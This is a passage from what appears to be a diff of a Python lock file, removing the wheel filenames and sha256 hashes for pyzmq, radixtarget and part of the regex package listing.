{file = "pyzmq-27.1.0-cp311-cp311-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:0790a0161c281ca9723f804871b4027f2e8b5a528d357c8952d08cd1a9c15581"}, - {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c895a6f35476b0c3a54e3eb6ccf41bf3018de937016e6e18748317f25d4e925f"}, - {file = "pyzmq-27.1.0-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5bbf8d3630bf96550b3be8e1fc0fea5cbdc8d5466c1192887bd94869da17a63e"}, - {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:15c8bd0fe0dabf808e2d7a681398c4e5ded70a551ab47482067a572c054c8e2e"}, - {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:bafcb3dd171b4ae9f19ee6380dfc71ce0390fefaf26b504c0e5f628d7c8c54f2"}, - {file = "pyzmq-27.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:e829529fcaa09937189178115c49c504e69289abd39967cd8a4c215761373394"}, - {file = "pyzmq-27.1.0-cp311-cp311-win32.whl", hash = "sha256:6df079c47d5902af6db298ec92151db82ecb557af663098b92f2508c398bb54f"}, - {file = "pyzmq-27.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:190cbf120fbc0fc4957b56866830def56628934a9d112aec0e2507aa6a032b97"}, - {file = "pyzmq-27.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:eca6b47df11a132d1745eb3b5b5e557a7dae2c303277aa0e69c6ba91b8736e07"}, - {file = "pyzmq-27.1.0-cp312-abi3-macosx_10_15_universal2.whl", hash = "sha256:452631b640340c928fa343801b0d07eb0c3789a5ffa843f6e1a9cee0ba4eb4fc"}, - {file = "pyzmq-27.1.0-cp312-abi3-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1c179799b118e554b66da67d88ed66cd37a169f1f23b5d9f0a231b4e8d44a113"}, - {file = "pyzmq-27.1.0-cp312-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3837439b7f99e60312f0c926a6ad437b067356dc2bc2ec96eb395fd0fe804233"}, - {file = "pyzmq-27.1.0-cp312-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:43ad9a73e3da1fab5b0e7e13402f0b2fb934ae1c876c51d0afff0e7c052eca31"}, - {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:0de3028d69d4cdc475bfe47a6128eb38d8bc0e8f4d69646adfbcd840facbac28"}, - {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_i686.whl", hash = "sha256:cf44a7763aea9298c0aa7dbf859f87ed7012de8bda0f3977b6fb1d96745df856"}, - {file = "pyzmq-27.1.0-cp312-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:f30f395a9e6fbca195400ce833c731e7b64c3919aa481af4d88c3759e0cb7496"}, - {file = "pyzmq-27.1.0-cp312-abi3-win32.whl", hash = "sha256:250e5436a4ba13885494412b3da5d518cd0d3a278a1ae640e113c073a5f88edd"}, - {file = "pyzmq-27.1.0-cp312-abi3-win_amd64.whl", hash = "sha256:9ce490cf1d2ca2ad84733aa1d69ce6855372cb5ce9223802450c9b2a7cba0ccf"}, - {file = "pyzmq-27.1.0-cp312-abi3-win_arm64.whl", hash = "sha256:75a2f36223f0d535a0c919e23615fc85a1e23b71f40c7eb43d7b1dedb4d8f15f"}, - {file = "pyzmq-27.1.0-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:93ad4b0855a664229559e45c8d23797ceac03183c7b6f5b4428152a6b06684a5"}, - {file = "pyzmq-27.1.0-cp313-cp313-android_24_x86_64.whl", hash = "sha256:fbb4f2400bfda24f12f009cba62ad5734148569ff4949b1b6ec3b519444342e6"}, - {file = "pyzmq-27.1.0-cp313-cp313t-macosx_10_15_universal2.whl", hash = "sha256:e343d067f7b151cfe4eb3bb796a7752c9d369eed007b91231e817071d2c2fec7"}, - {file = "pyzmq-27.1.0-cp313-cp313t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:08363b2011dec81c354d694bdecaef4770e0ae96b9afea70b3f47b973655cc05"}, - {file = "pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d54530c8c8b5b8ddb3318f481297441af102517602b569146185fa10b63f4fa9"}, - {file = "pyzmq-27.1.0-cp313-cp313t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f3afa12c392f0a44a2414056d730eebc33ec0926aae92b5ad5cf26ebb6cc128"}, - {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:c65047adafe573ff023b3187bb93faa583151627bc9c51fc4fb2c561ed689d39"}, - {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:90e6e9441c946a8b0a667356f7078d96411391a3b8f80980315455574177ec97"}, - {file = "pyzmq-27.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:add071b2d25f84e8189aaf0882d39a285b42fa3853016ebab234a5e78c7a43db"}, - {file = "pyzmq-27.1.0-cp313-cp313t-win32.whl", hash = "sha256:7ccc0700cfdf7bd487bea8d850ec38f204478681ea02a582a8da8171b7f90a1c"}, - {file = "pyzmq-27.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:8085a9fba668216b9b4323be338ee5437a235fe275b9d1610e422ccc279733e2"}, - {file = "pyzmq-27.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6bb54ca21bcfe361e445256c15eedf083f153811c37be87e0514934d6913061e"}, - {file = "pyzmq-27.1.0-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:ce980af330231615756acd5154f29813d553ea555485ae712c491cd483df6b7a"}, - {file = "pyzmq-27.1.0-cp314-cp314t-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:1779be8c549e54a1c38f805e56d2a2e5c009d26de10921d7d51cfd1c8d4632ea"}, - {file = "pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7200bb0f03345515df50d99d3db206a0a6bee1955fbb8c453c76f5bf0e08fb96"}, - {file = "pyzmq-27.1.0-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:01c0e07d558b06a60773744ea6251f769cd79a41a97d11b8bf4ab8f034b0424d"}, - {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:80d834abee71f65253c91540445d37c4c561e293ba6e741b992f20a105d69146"}, - {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:544b4e3b7198dde4a62b8ff6685e9802a9a1ebf47e77478a5eb88eca2a82f2fd"}, - {file = "pyzmq-27.1.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:cedc4c68178e59a4046f97eca31b148ddcf51e88677de1ef4e78cf06c5376c9a"}, - {file = "pyzmq-27.1.0-cp314-cp314t-win32.whl", hash = "sha256:1f0b2a577fd770aa6f053211a55d1c47901f4d537389a034c690291485e5fe92"}, - {file = "pyzmq-27.1.0-cp314-cp314t-win_amd64.whl", hash = "sha256:19c9468ae0437f8074af379e986c5d3d7d7bfe033506af442e8c879732bedbe0"}, - {file = "pyzmq-27.1.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dc5dbf68a7857b59473f7df42650c621d7e8923fb03fa74a526890f4d33cc4d7"}, - {file = "pyzmq-27.1.0-cp38-cp38-macosx_10_15_universal2.whl", hash = "sha256:18339186c0ed0ce5835f2656cdfb32203125917711af64da64dbaa3d949e5a1b"}, - {file = "pyzmq-27.1.0-cp38-cp38-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:753d56fba8f70962cd8295fb3edb40b9b16deaa882dd2b5a3a2039f9ff7625aa"}, - {file = "pyzmq-27.1.0-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b721c05d932e5ad9ff9344f708c96b9e1a485418c6618d765fca95d4daacfbef"}, - {file = "pyzmq-27.1.0-cp38-cp38-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7be883ff3d722e6085ee3f4afc057a50f7f2e0c72d289fd54df5706b4e3d3a50"}, - {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:b2e592db3a93128daf567de9650a2f3859017b3f7a66bc4ed6e4779d6034976f"}, - {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:ad68808a61cbfbbae7ba26d6233f2a4aa3b221de379ce9ee468aa7a83b9c36b0"}, - {file = "pyzmq-27.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:e2687c2d230e8d8584fbea433c24382edfeda0c60627aca3446aa5e58d5d1831"}, - {file = "pyzmq-27.1.0-cp38-cp38-win32.whl", hash = "sha256:a1aa0ee920fb3825d6c825ae3f6c508403b905b698b6460408ebd5bb04bbb312"}, - {file = "pyzmq-27.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:df7cd397ece96cf20a76fae705d40efbab217d217897a5053267cd88a700c266"}, - {file = "pyzmq-27.1.0-cp39-cp39-macosx_10_15_universal2.whl", hash = "sha256:96c71c32fff75957db6ae33cd961439f386505c6e6b377370af9b24a1ef9eafb"}, - {file = "pyzmq-27.1.0-cp39-cp39-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:49d3980544447f6bd2968b6ac913ab963a49dcaa2d4a2990041f16057b04c429"}, - {file = "pyzmq-27.1.0-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:849ca054d81aa1c175c49484afaaa5db0622092b5eccb2055f9f3bb8f703782d"}, - {file = "pyzmq-27.1.0-cp39-cp39-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3970778e74cb7f85934d2b926b9900e92bfe597e62267d7499acc39c9c28e345"}, - {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:da96ecdcf7d3919c3be2de91a8c513c186f6762aa6cf7c01087ed74fad7f0968"}, - {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:9541c444cfe1b1c0156c5c86ece2bb926c7079a18e7b47b0b1b3b1b875e5d098"}, - {file = "pyzmq-27.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e30a74a39b93e2e1591b58eb1acef4902be27c957a8720b0e368f579b82dc22f"}, - {file = "pyzmq-27.1.0-cp39-cp39-win32.whl", hash = "sha256:b1267823d72d1e40701dcba7edc45fd17f71be1285557b7fe668887150a14b78"}, - {file = "pyzmq-27.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0c996ded912812a2fcd7ab6574f4ad3edc27cb6510349431e4930d4196ade7db"}, - {file = "pyzmq-27.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:346e9ba4198177a07e7706050f35d733e08c1c1f8ceacd5eb6389d653579ffbc"}, - {file = "pyzmq-27.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c17e03cbc9312bee223864f1a2b13a99522e0dc9f7c5df0177cd45210ac286e6"}, - {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:f328d01128373cb6763823b2b4e7f73bdf767834268c565151eacb3b7a392f90"}, - {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9c1790386614232e1b3a40a958454bdd42c6d1811837b15ddbb052a032a43f62"}, - {file = "pyzmq-27.1.0-pp310-pypy310_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:448f9cb54eb0cee4732b46584f2710c8bc178b0e5371d9e4fc8125201e413a74"}, - {file = "pyzmq-27.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:05b12f2d32112bf8c95ef2e74ec4f1d4beb01f8b5e703b38537f8849f92cb9ba"}, - {file = "pyzmq-27.1.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:18770c8d3563715387139060d37859c02ce40718d1faf299abddcdcc6a649066"}, - {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:ac25465d42f92e990f8d8b0546b01c391ad431c3bf447683fdc40565941d0604"}, - {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:53b40f8ae006f2734ee7608d59ed661419f087521edbfc2149c3932e9c14808c"}, - {file = "pyzmq-27.1.0-pp311-pypy311_pp73-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f605d884e7c8be8fe1aa94e0a783bf3f591b84c24e4bc4f3e7564c82ac25e271"}, - {file = "pyzmq-27.1.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:c9f7f6e13dff2e44a6afeaf2cf54cee5929ad64afaf4d40b50f93c58fc687355"}, - {file = "pyzmq-27.1.0-pp38-pypy38_pp73-macosx_10_15_x86_64.whl", hash = "sha256:50081a4e98472ba9f5a02850014b4c9b629da6710f8f14f3b15897c666a28f1b"}, - {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:510869f9df36ab97f89f4cff9d002a89ac554c7ac9cadd87d444aa4cf66abd27"}, - {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:1f8426a01b1c4098a750973c37131cf585f61c7911d735f729935a0c701b68d3"}, - {file = "pyzmq-27.1.0-pp38-pypy38_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:726b6a502f2e34c6d2ada5e702929586d3ac948a4dbbb7fed9854ec8c0466027"}, - {file = "pyzmq-27.1.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:bd67e7c8f4654bef471c0b1ca6614af0b5202a790723a58b79d9584dc8022a78"}, - {file = "pyzmq-27.1.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:722ea791aa233ac0a819fc2c475e1292c76930b31f1d828cb61073e2fe5e208f"}, - {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux2014_i686.manylinux_2_17_i686.whl", hash = "sha256:01f9437501886d3a1dd4b02ef59fb8cc384fa718ce066d52f175ee49dd5b7ed8"}, - {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4a19387a3dddcc762bfd2f570d14e2395b2c9701329b266f83dd87a2b3cbd381"}, - {file = "pyzmq-27.1.0-pp39-pypy39_pp73-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c618fbcd069e3a29dcd221739cacde52edcc681f041907867e0f5cc7e85f172"}, - {file = "pyzmq-27.1.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:ff8d114d14ac671d88c89b9224c63d6c4e5a613fe8acd5594ce53d752a3aafe9"}, - {file = "pyzmq-27.1.0.tar.gz", hash = "sha256:ac0765e3d44455adb6ddbf4417dcce460fc40a05978c08efdf2948072f6db540"}, -] - -[package.dependencies] -cffi = {version = "*", markers = "implementation_name == \"pypy\""} - -[[package]] -name = "radixtarget" -version = "3.0.15" -description = "Check whether an IP address belongs to a cloud provider" -optional = false -python-versions = "<4.0,>=3.9" -groups = ["main"] -files = [ - {file = "radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0"}, - {file = "radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea"}, -] - -[[package]] -name = "regex" -version = "2026.1.15" -description = "Alternative regular expression module, to replace re." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e"}, - {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f"}, - {file = "regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3"}, - {file = "regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218"}, - {file = "regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a"}, - {file = "regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1"}, - {file = "regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569"}, - {file = "regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7"}, - {file = "regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22"}, - {file = "regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913"}, - {file = "regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a"}, - {file = "regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3"}, - {file = "regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f"}, - {file = "regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e"}, - {file = "regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = 